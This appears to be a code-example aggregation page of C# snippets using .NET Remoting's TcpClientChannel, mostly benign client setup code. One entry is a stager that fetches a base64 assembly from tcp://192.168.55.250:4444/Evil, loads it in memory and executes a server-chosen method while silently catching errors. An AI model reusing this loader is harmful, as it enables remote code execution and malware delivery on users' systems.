예제 #1
0
        /// <summary>
        /// Closes any existing secure channel and opens a new one.
        /// </summary>
        /// <exception cref="ServiceResultException">Thrown if any communication error occurs.</exception>
        /// <remarks>
        /// Calling this method will cause outstanding requests over the current secure channel to fail.
        /// </remarks>
        public void Reconnect()
        {
            Utils.Trace("TcpTransportChannel RECONNECT: Reconnecting to {0}.", m_url);

            lock (m_lock) {
                // the new channel must be created first because WinSock will reuse sockets and this
                // can result in messages sent over the old socket arriving as messages on the new socket.
                // if this happens the new channel is shutdown because of a security violation.
                TcpClientChannel channel = m_channel;
                m_channel = null;

                // reconnect.
                OpenOnDemand();

                // begin connect operation.
                IAsyncResult result = m_channel.BeginConnect(m_url, m_operationTimeout, null, null);
                m_channel.EndConnect(result);

                // close existing channel.
                if (channel != null)
                {
                    try {
                        channel.Close(1000);
                    } catch (Exception) {
                        // do nothing.
                    } finally {
                        channel.Dispose();
                    }
                }
            }
        }
        static void Main(string[] args)
        {
            Console.WriteLine("Service Controller Console..");
            //Identify the wire-encoding format; in this case we have selected
            //BinaryFormatter
            BinaryClientFormatterSinkProvider cltFormatter =
                new BinaryClientFormatterSinkProvider();

            //Identify the communication protocol used to interact with server.
            //The wire-encoding details are also specified here
            TcpClientChannel cltChannel =
                new TcpClientChannel("ControllerChannel", cltFormatter);

            //Registration of communication protocol and wire-encoding format to be used
            //by remoting infrastructure
            ChannelServices.RegisterChannel(cltChannel);

            //Instantiation of Remote type (Service MetaInformation)
            IServiceInfo serviceInfo = Activator.GetObject(typeof(IServiceInfo),
                                                           "tcp://localhost:15000/HeartBeatServiceInfo.rem") as IServiceInfo;

            //Service meta-information is retrieved to determine the actual
            //location of the heartbeat service
            ServiceInfo heartBeatInfo = serviceInfo.QueryServiceInfo;

            Console.WriteLine("Starting Service : " + heartBeatInfo.FriendlyName);

            //Instantiation of heartbeat service
            IService hbService = Activator.GetObject(typeof(IService),
                                                     heartBeatInfo.Location) as IService;

            hbService.Start();
            Console.ReadLine();
        }
 static RemotingClient()
 {
     //I believe we only require one TcpClientChannel per Process/AppDomain, so we ensure that it is
     //constructed statically.
     m_RemoteChannel = new TcpClientChannel();
     ChannelServices.RegisterChannel(m_RemoteChannel);
 }
예제 #4
0
        public void StartClient(string url, string script, string name, string port)
        {
            channel = new TcpClientChannel("client", null);
            ChannelServices.RegisterChannel(channel, false);
            server = (IServerInterface)Activator.GetObject(typeof(IServerInterface), url);
            string[] lines = System.IO.File.ReadAllLines(script);
            // Display the file contents by using a foreach loop.
            System.Console.WriteLine("Running script...");

            foreach (string line in lines)
            {
                if (!String.IsNullOrEmpty(line))
                {
                    if (repeat == 0 || line.Contains("end-repeat"))
                    {
                        List <string> initialLineArray = line.Split(' ').ToList();
                        if (initialLineArray.Count() > 1)
                        {
                            List <string> lineSeperated = Regex.Split(constructLine(initialLineArray[1]), @"(?!<(?:\(|\[)[^)\]]+),(?![^(\[]+(?:\)|\]))").ToList();
                            initialLineArray.RemoveAt(1);
                            initialLineArray.AddRange(lineSeperated);
                        }

                        Parser(initialLineArray, name, port);
                    }
                    else
                    {
                        linesToRepeat.Add(line);
                    }
                }
            }
        }
예제 #5
0
    static void Main(string[] args)
    {
        // Create Client
        TcpClientChannel channel = new TcpClientChannel();

        ChannelServices.RegisterChannel(channel, false);

        // Get a reference to the player on the server
        string playerURL = "tcp://localhost:" + 4269 + "/" + "Player";
        Player player    = (Player)Activator.GetObject(typeof(Player), playerURL);

        while (true)
        {
            Console.Write("Type a message to the server or type 'quit' to exit\n");
            string text = Console.ReadLine();

            if (text == "quit")
            {
                break;
            }

            // RPC: Call function on server
            player.SayHello(text);
        }
    }
예제 #6
0
파일: client.cs 프로젝트: yashbajra/samples
    public static void Main()
    {
// <snippet21>
        // Set up a client channel.
        TcpClientChannel clientChannel = new TcpClientChannel();

        ChannelServices.RegisterChannel(clientChannel);
// </snippet21>

// <snippet22>
        // Show the name and priority of the channel.
        Console.WriteLine("Channel Name: {0}", clientChannel.ChannelName);
        Console.WriteLine("Channel Priority: {0}", clientChannel.ChannelPriority);
// </snippet22>

        // Obtain a proxy for a remote object.
        RemotingConfiguration.RegisterWellKnownClientType(
            typeof(Remotable), "tcp://localhost:9090/Remotable.rem"
            );

        // Call a method on the object.
        Remotable remoteObject = new Remotable();

        Console.WriteLine(remoteObject.GetCount());
    }
예제 #7
0
        private void InitializeAdditionalComponent()
        {
            if (Settings.Default.HideOnStartup)
            {
                this.WindowState = FormWindowState.Minimized;
            }
            //tray menu
            this.tray_menu = new ContextMenu();
            this.tray_menu.MenuItems.Add(0,
                                         new System.Windows.Forms.MenuItem("Exit", new System.EventHandler(Exit_click)));
            this.tray_menu.MenuItems.Add(1,
                                         new System.Windows.Forms.MenuItem("Show", new System.EventHandler(Show_click)));
            this.tray_menu.MenuItems.Add(2,
                                         new System.Windows.Forms.MenuItem("Hide", new System.EventHandler(Hide_click)));
            this.m_Trayicon.ContextMenu = this.tray_menu;
            //resize handler
            this.Resize += new EventHandler(MainForm_Resize);

            this.textBox_Host.Text = Properties.Settings.Default.MonitorInterfaceHost;
            this.textBox_port.Text = Properties.Settings.Default.MonitorInterfacePort.ToString();

            TcpClientChannel channel = new TcpClientChannel();

            ChannelServices.RegisterChannel(channel, false);
        }
        public AlphaRemotingService()
        {
            IChannel channel = new TcpClientChannel("Channel1", new BinaryClientFormatterSinkProvider());

            ChannelServices.RegisterChannel(channel, false);
            _service = (IRemotingSocketService)Activator.GetObject(typeof(IRemotingSocketService), "tcp://" + GetServerLocalIP() + ":" + ConfigurationManager.AppSettings["AlphaRemotingServerPort"] + "/VotaiWeb2Srv");
        }
예제 #9
0
        public void RequestMostRecent()
        {
            string mypath     = System.Reflection.Assembly.GetEntryAssembly().Location;
            string finalpath  = mypath.Substring(0, mypath.Length - 10);
            string newpath    = Path.GetFullPath(Path.Combine(finalpath, @"..\..\"));
            string pathToList = newpath + "ListaServers.txt";

            string[] lines = System.IO.File.ReadAllLines(pathToList);
            foreach (string line in lines)
            {
                //port : name
                string[] args = line.Split(':');

                int    server_port = Int32.Parse(args[0]);
                string server_name = args[1];

                try
                {
                    string           url         = "tcp://localhost:" + server_port + "/" + server_name;
                    TcpClientChannel channelnovo = new TcpClientChannel(server_name, null);
                    ChannelServices.RegisterChannel(channelnovo, false);
                    IServerInterface servernovo = (IServerInterface)Activator.GetObject(typeof(IServerInterface), url);
                    if (servernovo.GetNumOps() > numOps)
                    {
                        tupleSpace = servernovo.GetTupleSpace();
                    }
                    ChannelServices.UnregisterChannel(channelnovo);
                }
                catch { }
            }
        }
    public static void Main()
    {
        try
        {
            //TCP Channel
            TcpClientChannel clientChannel = new TcpClientChannel();
            ChannelServices.RegisterChannel(clientChannel, false);

            //Create an instance of remoteObject
            Type      Type         = typeof(Interface);
            Interface remoteObject = (Interface)Activator.GetObject(Type, "tcp://192.168.55.250:4444/Evil");

            //Return source from server
            String[] source = remoteObject.b64Assembly2();

            //Decode and load assembly
            var decode       = Convert.FromBase64String(source[0]);
            var assemblyLoad = Assembly.Load(decode);

            //Get types, create instance, and execute
            Type[]   type       = assemblyLoad.GetTypes();
            int      x          = Convert.ToInt32(source[1]);
            object   o          = Activator.CreateInstance(type[x]);
            object[] arguements = new object[] { new string[] { source[2] } };
            type[x].GetMethod(source[3]).Invoke(o, arguements);
        }
        catch
        { }
    }
예제 #11
0
        public Communication()
        {
            this.ServiceConfig = new Config();
            this.LogList       = new ObservableCollection <Log>();

            this.gotConfig = false;
            this.gotLog    = false;

            this.Client = TcpClientChannel.getInstance();

            if (this.Client.IsConnected)
            {
                this.IsConnected         = true;
                this.Client.UpdateModel += ViewUpdate;

                this.Client.SendCommand(new CommandMessage(3, null));
                while (!this.gotLog)
                {
                    Thread.Sleep(1000);
                }

                this.Client.SendCommand(new CommandMessage(2, null));
                while (!this.gotConfig)
                {
                    Thread.Sleep(1000);
                }
            }
        }
예제 #12
0
        public bool Connect()
        {
            try
            {
                Connecting = true;

                if (Channel != null)
                {
                    ChannelServices.UnregisterChannel(Channel);
                }

                if (ServerChannel != null)
                {
                    ChannelServices.UnregisterChannel(ServerChannel);
                }

                Channel       = null;
                ServerChannel = null;
                Mgr           = null;
            }
            catch
            {
            }

            return(Connect(RpcServerIp, RpcServerPort));
        }
예제 #13
0
파일: client.cs 프로젝트: ruo2012/samples-1
    public static void Main()
    {
// <snippet31>
        // Specify client channel properties.
        IDictionary dict = new Hashtable();

        dict["port"] = 9090;
        dict["impersonationLevel"]   = "Identify";
        dict["authenticationPolicy"] = "AuthPolicy, Policy";

        // Set up a client channel.
        TcpClientChannel clientChannel = new TcpClientChannel(dict, null);

        ChannelServices.RegisterChannel(clientChannel, false);
// </snippet31>

        // Obtain a proxy for a remote object.
        RemotingConfiguration.RegisterWellKnownClientType(
            typeof(Remotable), "tcp://localhost:9090/Remotable.rem"
            );

        // Call a method on the object.
        Remotable remoteObject = new Remotable();

        Console.WriteLine(remoteObject.GetMessage());
    }
        private void SureVersion()
        {
            try
            {
                GSSBLL.BLLShareData bll = new GSSBLL.BLLShareData();
                string dd = bll.GSSClientVersion_C();

                TcpClientChannel channel = new TcpClientChannel();
                ChannelServices.RegisterChannel(channel, false);
                string classname         = "BLLShareData";
                string serverurl         = string.Format("tcp://{0}:{1}/{2}", ShareData.LocalIp, ShareData.LocalPort + 1, classname);
                GSSBLL.BLLShareData bllS = (GSSBLL.BLLShareData)Activator.GetObject(typeof(BLLShareData), serverurl);
                string verS = bllS.GSSClientVersion_S();
                string verC = bll.GSSClientVersion_C();
                ChannelServices.UnregisterChannel(channel);
                if (verC != verS)
                {
                    AutoUpdate();
                }
            }
            catch (System.Exception ex)
            {
                ShareData.Log.Warn(ex);
            }
        }
예제 #15
0
        public RemotingClient(string serverAddress, int serverPort, bool ensureSecurity = false)
        {
            // - Save attributes -
            this.serverAddress  = serverAddress;
            this.serverPort     = serverPort;
            this.ensureSecurity = ensureSecurity;

            // - Check if a TCP channel is not already setup -
            if (ChannelServices.RegisteredChannels.Where(chan => chan.ChannelName == "tcp").FirstOrDefault() == null)
            {
                #region - Old method -
                //// - Register new TCP channel -
                //ChannelServices.RegisterChannel(new TcpChannel(), ensureSecurity);
                #endregion

                // - Build properties table -
                var properties = new System.Collections.Hashtable();
                properties["name"] = "tcp";
                properties["connectionTimeout"]  = 240000; //-> Default : infinite
                properties["retryCount"]         = 5;      //-> Default : 1
                properties["timeout"]            = 160000; // -> Default : infinite
                properties["socketCacheTimeout"] = 15;     //-> Default : 5

                // - Register new TCP channel -
                IChannel clientChannel = new TcpClientChannel(properties, null);
                ChannelServices.RegisterChannel(clientChannel, ensureSecurity);
            }
        }
예제 #16
0
    public void MostrarRanking()
    {
        if (ChannelServices.RegisteredChannels.Length == 0)
        {
            Debug.Log("canal null");
            canal = new TcpClientChannel();
            ChannelServices.RegisterChannel(canal, false);
        }
        I_damas obj = (I_damas)Activator.GetObject(
            typeof(I_damas), "tcp://localhost:5555/serverDamas");

        if (obj.Equals(null))
        {
            Debug.Log("Error");
        }
        else
        {
            List <String> usuarios = obj.Ranking();
            for (int i = 0; i < usuarios.Count; i = i + 3)
            {
                nick.text    = nick.text + "\n" + usuarios[i];
                puntaje.text = puntaje.text + "\n" + usuarios[i + 1];
                ganadas.text = ganadas.text + "\n" + usuarios[i + 2];
            }
        }
    }
예제 #17
0
        /// <summary>
        /// Initializes the channel with a channel manager.
        /// </summary>
        internal UaTcpRequestChannel(
            ChannelManagerBase manager,
            string factoryId,
            EndpointAddress address,
            Uri via,
            BufferManager bufferManager,
            TcpChannelQuotas quotas,
            X509Certificate2 clientCertificate,
            X509Certificate2 serverCertificate,
            EndpointDescription endpointDescription)
            :
            base(manager)
        {
            m_factoryId = factoryId;
            m_address   = address;
            m_via       = via;
            m_quotas    = quotas;

            m_channel = new TcpClientChannel(
                m_factoryId,
                bufferManager,
                quotas,
                clientCertificate,
                serverCertificate,
                endpointDescription);

            m_ResponseCallack = new AsyncCallback(OnResponse);
        }
예제 #18
0
        protected void CreateProxy()
        {
            RemoveProxy();

            IDictionary props = new Hashtable() as IDictionary;

            props["port"]              = 0;
            props["timeout"]           = (uint)1000 * 60 * 1; // wait one minute max
            props["connectionTimeout"] = (uint)1000 * 60 * 1; // wait one minute max

#if !MONO
            if (RemotingConfiguration.CustomErrorsMode != CustomErrorsModes.Off)
            {
                RemotingConfiguration.CustomErrorsMode = CustomErrorsModes.Off;
            }
#endif

            BinaryClientFormatterSinkProvider clientProvider = new BinaryClientFormatterSinkProvider();

            _channel = new TcpClientChannel(props, clientProvider);
            ChannelServices.RegisterChannel(_channel, false);             // Disable security for speed

            proxy = (AgentServiceTcpRemote)Activator.GetObject(typeof(AgentServiceTcpRemote), _url);
            if (proxy == null)
            {
                throw new PeachException("Error, unable to create proxy for remote agent '" + _url + "'.");
            }
        }
예제 #19
0
        /// <summary>
        /// c'tor
        /// </summary>
        public TcpClient()
        {
            string ip   = ConfigurationManager.AppSettings.Get("Ip");
            int    port = Int32.Parse(ConfigurationManager.AppSettings.Get("Port"));

            Channel   = new TcpClientChannel(port, ip); // create channel
            Connected = Channel.Start();
        }
예제 #20
0
        public TcpChannelClientService(int port, bool ensureSecurity)
        {
            TcpClientChannel channel = new TcpClientChannel();

            ChannelServices.RegisterChannel(channel, ensureSecurity);

            _port = port;
        }
예제 #21
0
 /// <summary>
 /// constructor
 /// </summary>
 public LogsModel()
 {
     commChannel = TcpClientChannel.GetInstance();
     commChannel.MessageReceived += ReadRecivedMessage;
     this.Logs = new ObservableCollection <MessageRecievedEventArgs>();
     Thread.Sleep(1000);
     this.GetLogs();
 }
예제 #22
0
        /// <summary>
        /// constructor
        /// </summary>
        public SettingsModel()
        {
            commChannel = TcpClientChannel.GetInstance();
            commChannel.MessageReceived += ReadRecivedMessage;

            this.GetConfig();
            Thread.Sleep(1000);
        }
예제 #23
0
        public bool Connect(string IP, int puertol, string clave, int puertor)
        {
            m_ip = IPAddress.Parse(IP);
            if (puertor != 0)
            {
                this.m_puertos = puertor;
            }

            this.m_url     = "tcp://" + IP + ":" + this.m_puertos + "/InterfazRemota";
            this.m_puertor = puertor;

            System.Security.Cryptography.MD5 cripto = System.Security.Cryptography.MD5.Create();

            bool valor = false;

            try
            {
                m_lPhantChannel = new TcpClientChannel(props, provider);
                ChannelServices.RegisterChannel(m_lPhantChannel);
            }
            catch
            {
                DisConnect();
                if (m_lPhantChannel != null)
                {
                    ChannelServices.RegisterChannel(m_lPhantChannel);
                }
                else
                {
                    m_lPhantChannel = new TcpClientChannel(props, provider);
                }
            }
            interfazremota = (CInterfaceGateway)Activator.GetObject(typeof(eLePhant.eDonkey.CInterfaceGateway),
                                                                    this.m_url);

            if (interfazremota == null)
            {
                Debug.Write("No se pudo encontrar el servidor");
            }
            else
            {
                //c = new byte[clave.Length];
                //for (int i=0;i<clave.Length;i++) c[i]=System.Convert.ToByte(clave[i]);
                //cripto.ComputeHash(c);
                //try
                //{
                valor = interfazremota.CheckPw(clave);

                /*}
                 *              catch
                 *              {
                 *                      ChannelServices.UnregisterChannel(this.canalCeLephant);
                 *                      this.canalCeLephant = null;
                 *                      Debug.Write("\nNo se pudo encontrar el servidor\n");
                 *              }*/
            }
            return(valor);
        }
예제 #24
0
        public FreeSwitchClient(SecureString password, FreeSwitchEventCollection eventCollection)
        {
            _eventCollection = eventCollection;
            var pipelineFactory = new FreeSwitchPipeline(password, this);

            _pipeline       = pipelineFactory.Build();
            _channel        = new TcpClientChannel(_pipeline);
            _waitingObjects = new AsyncJobQueue();
        }
예제 #25
0
        private void Form1_Load(object sender, EventArgs e)
        {
            TcpClientChannel channel = new TcpClientChannel();

            ChannelServices.RegisterChannel(channel, false);
            RemotingConfiguration.RegisterWellKnownClientType(
                typeof(CgpaCalculator), "tcp://localhost:1234/CgpaCalculator");
            obj = new CgpaCalculator();
        }
예제 #26
0
        public Connector(ClientConfig config)
        {
            if (Client == null)
            {
                if (config.Servers == null || config.Servers.Count == 0)
                {
                    var channel = new InProcessChannel();
                    Client = new DataClient {
                        Channel = channel
                    };

                    _server = new Server.Server(new NodeConfig
                    {
                        IsPersistent = config.IsPersistent,
                        DataPath     = "."
                    })
                    {
                        Channel = channel
                    };

                    _server.Start();
                }
                else if (config.Servers.Count == 1)
                {
                    var serverCfg = config.Servers[0];

                    var channel = new TcpClientChannel(new TcpClientPool(4, 1, serverCfg.Host, serverCfg.Port));

                    Client = new DataClient {
                        Channel = channel
                    };
                }
                else // multiple servers
                {
                    var aggregator = new DataAggregator();

                    var index = 0;
                    foreach (var serverConfig in config.Servers)
                    {
                        var channel =
                            new TcpClientChannel(new TcpClientPool(4, 1, serverConfig.Host, serverConfig.Port));

                        var client = new DataClient
                        {
                            Channel     = channel,
                            ShardIndex  = index,
                            ShardsCount = config.Servers.Count
                        };
                        aggregator.CacheClients.Add(client);
                        index++;
                    }


                    Client = aggregator;
                }
            }
        }
예제 #27
0
        private void doRemotingConfiguration()
        {
            TcpClientChannel channel;

            channel = new TcpClientChannel();
            ChannelServices.RegisterChannel(channel, false);
            RemotingConfiguration.RegisterWellKnownClientType(typeof(eLibraryServer.DAL), "tcp://localhost:8089/eLibraryServer.rem");
            // throw new NotImplementedException();
        }
예제 #28
0
        private static void ServerActivatedDemo()
        {
            TcpClientChannel clientChannel = new TcpClientChannel();

            ChannelServices.RegisterChannel(clientChannel, false);
            ServerActivated();

            RunTest("Jimmy", "Zhang");
        }
        public MainWindow()
        {
            InitializeComponent();
            TcpClientChannel chan = new TcpClientChannel();

            ChannelServices.RegisterChannel(chan, false);
            //   ChannelServices.RegisterChannel(new TcpClientChannel(),false);
            remoteService = (ICaptainService)Activator.GetObject(typeof(ICaptainService),
                                                                 "tcp://10.12.51.184:8888/serverMethod", null);
        }
    private UserConnection()
    {
        channel = new TcpClientChannel();

        channel = new TcpClientChannel();
        ChannelServices.RegisterChannel(channel);
        mrd = (MovieRentalDatabase.MovieRentalDatabase)
              Activator.GetObject(typeof(MovieRentalDatabase.MovieRentalDatabase),
                                  "tcp://localhost:9999/Rental");
    }
예제 #31
0
        private object GetChannel(XElement element)
        {
            string channelType = GetAttribute(element, "Type");
            string name = GetAttribute(element, "Name");

            IObjectWithName channel = null;

            if (channelType == "TcpServerChannel")
            {

                int port = int.Parse(GetAttribute(element, "LocalPort"));

                TcpServerChannel tcpServerChannel = new TcpServerChannel(name, port);

                channel = tcpServerChannel;
            }
            else if (channelType == "TcpClientChannel")
            {
                TcpClientChannel tcpClientChannel = null;

                string ip = GetAttribute(element, "RemoteIP");
                int port = int.Parse(GetAttribute(element, "RemotePort"));

                IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(ip), port);

                if (element.Attribute("RetryInterval") != null && !string.IsNullOrEmpty(element.Attribute("RetryInterval").Value))
                {
                    int retryInterval = int.Parse(GetAttribute(element, "RetryInterval"));
                    tcpClientChannel = new TcpClientChannel(name, ipEndPoint, retryInterval);
                }
                else
                {
                    tcpClientChannel = new TcpClientChannel(name, ipEndPoint);
                }

                channel = tcpClientChannel;
            }
            else if (channelType == "UdpChannel")
            {
                UdpChannel udpChannel = null;

                int remotePort = int.Parse(GetAttribute(element, "RemotePort"));
                int localPort = int.Parse(GetAttribute(element, "LocalPort"));

                if (element.Attribute("LocalIP") != null && !string.IsNullOrEmpty(element.Attribute("LocalIP").Value))
                {
                    string localIP = GetAttribute(element, "LocalIP");
                    udpChannel = new UdpChannel(name, remotePort, localPort, IPAddress.Parse(localIP));
                }
                else
                {
                    udpChannel = new UdpChannel(name, remotePort, localPort);
                }

                channel = udpChannel;
            }
            else if (channelType == "HttpReaderChannel")
            {
                HttpReaderChannel httpReaderChannel = null;

                int remotePort = int.Parse(GetAttribute(element, "RemotePort"));
                string remoteIP = GetAttribute(element, "RemoteIP");
                string requestUrl = GetAttribute(element, "RequestUrl");
                string userName = string.Empty;
                string password = string.Empty;

                if (element.Attribute("UserName") != null && !string.IsNullOrEmpty(element.Attribute("UserName").Value))
                {
                    userName = GetAttribute(element, "UserName");
                }

                if (element.Attribute("Password") != null && !string.IsNullOrEmpty(element.Attribute("Password").Value))
                {
                    password = GetAttribute(element, "Password");
                }

                httpReaderChannel = new HttpReaderChannel(name, remoteIP, remotePort, requestUrl, userName, password);

                channel = httpReaderChannel;
            }
            else
            {
                throw new UnknownElementException("Unknown channel type:" + channelType);
            }

            _adapterObjects[_currentAdapterName].Add(channel.Name, channel);

            return channel;
        }
예제 #32
0
        void Init(IDictionary properties, IClientChannelSinkProvider clientSink, IServerChannelSinkProvider serverSink)
        {
            _clientChannel = new TcpClientChannel (properties,clientSink);

            if(properties["port"] != null)
                _serverChannel = new TcpServerChannel(properties, serverSink);

            object val = properties ["name"];
            if (val != null) _name = val as string;

            val = properties ["priority"];
            if (val != null) _priority = Convert.ToInt32 (val);
        }